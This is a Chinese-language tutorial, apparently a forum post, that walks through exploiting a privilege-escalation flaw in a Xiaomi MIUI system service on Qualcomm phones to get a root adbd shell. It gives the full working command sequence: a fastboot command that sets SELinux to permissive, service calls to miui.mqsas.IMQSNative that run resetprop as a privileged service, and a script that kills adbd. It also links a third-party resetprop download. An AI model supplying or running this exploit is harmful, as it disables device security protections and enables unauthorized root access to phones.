感谢@fudhdi ,现在可以使用AX模块快速完成第一步了免解bl 热挂载magisk懒人脚本(可刷模块)
最近爆出粗粮的服务提权漏洞,大家肯定希望获得更高权限来做更多事情,现在,开始第一步教程,我们将开启adbd的root shell,以便获得完整终端和su selinux上下文
仅限高通机型!!!
===== FBI Warning =====
请注意:该漏洞与方法并不适用于所有高通设备,如您在实践中遇到任何未预期的问题,请立即停止
===== FBI Warning =====
第一步:fastboot修改selinux 为宽容
将手机重启至fastboot,然后执行以下命令并等待
fastboot oem set-gpu-preemption 0 androidboot.selinux=permissive
fastboot continue
开机后打开开发者模式,启用usb调试。
第二步:修改prop,强制使用root启动adbd
提前下载好resetprop(文末链接),打开终端输入以下命令推送到手机
adb push resetprop /data/local/tmp
adb shell chmod +x /data/local/tmp/resetprop
并添加adbd重启脚本k.sh
adb shell "printf 'kill -9 `pgrep adbd`' > /data/local/tmp/k.sh; chmod 777 /data/local/tmp/k.sh"
接着输入 adb shell 进入 shell
输入以下命令触发漏洞
service call miui.mqsas.IMQSNative 21 i32 1 s16 "/data/local/tmp/resetprop" i32 1 s16 "ro.debuggable 1" s16 "/dev/null" i32 60
service call miui.mqsas.IMQSNative 21 i32 1 s16 "/data/local/tmp/resetprop" i32 1 s16 "ro.secure 0" s16 "/dev/null" i32 60
service call miui.mqsas.IMQSNative 21 i32 1 s16 "/data/local/tmp/resetprop" i32 1 s16 "service.adb.root 1" s16 "/dev/null" i32 60
service call miui.mqsas.IMQSNative 21 i32 1 s16 "/system/bin/sh" i32 1 s16 "/data/local/tmp/k.sh" s16 "/dev/null" i32 60
此时会自动退出shell,输入adb root验证,如果显示”adbd is already running as root“,那么恭喜你,此时输入 adb shell,然后输入id,你就会看到你的selinux上下文变成了u:r:su:s0
如果显示其他内容,那么就说明本漏洞不支持你的设备,或者是你输错了命令。
resetprop:https://www.123865.com/s/jKnyjv-p2Mrh?pwd=vvfE
本教程及本人在任何平台发布的任何教程均严格遵守中国各项法律法规,仅供学习与技术交流使用。 本教程所涉及的技术方案、逻辑分析及操作流程,均基于公开资料与个人实验总结,不涉及任何特定厂家、企业或品牌,如有雷同,纯属巧合。在此郑重声明:本教程所涉技术均具有高度实验性。鉴于系统环境的复杂性与更新的不确定性,用户在执行相关指令(尤其是涉及 Root 权限)时,需自行承担包括但不限于硬件变砖、数据丢失或系统挂掉的所有风险。作者不对任何因操作失误、环境差异或不可抗力导致的“翻车”后果承担法律及连带责任。 一旦你开始输入第一行代码,即视为你已满血复活并完全同意本协议:折腾有风险,操作需谨慎,备份胜良药。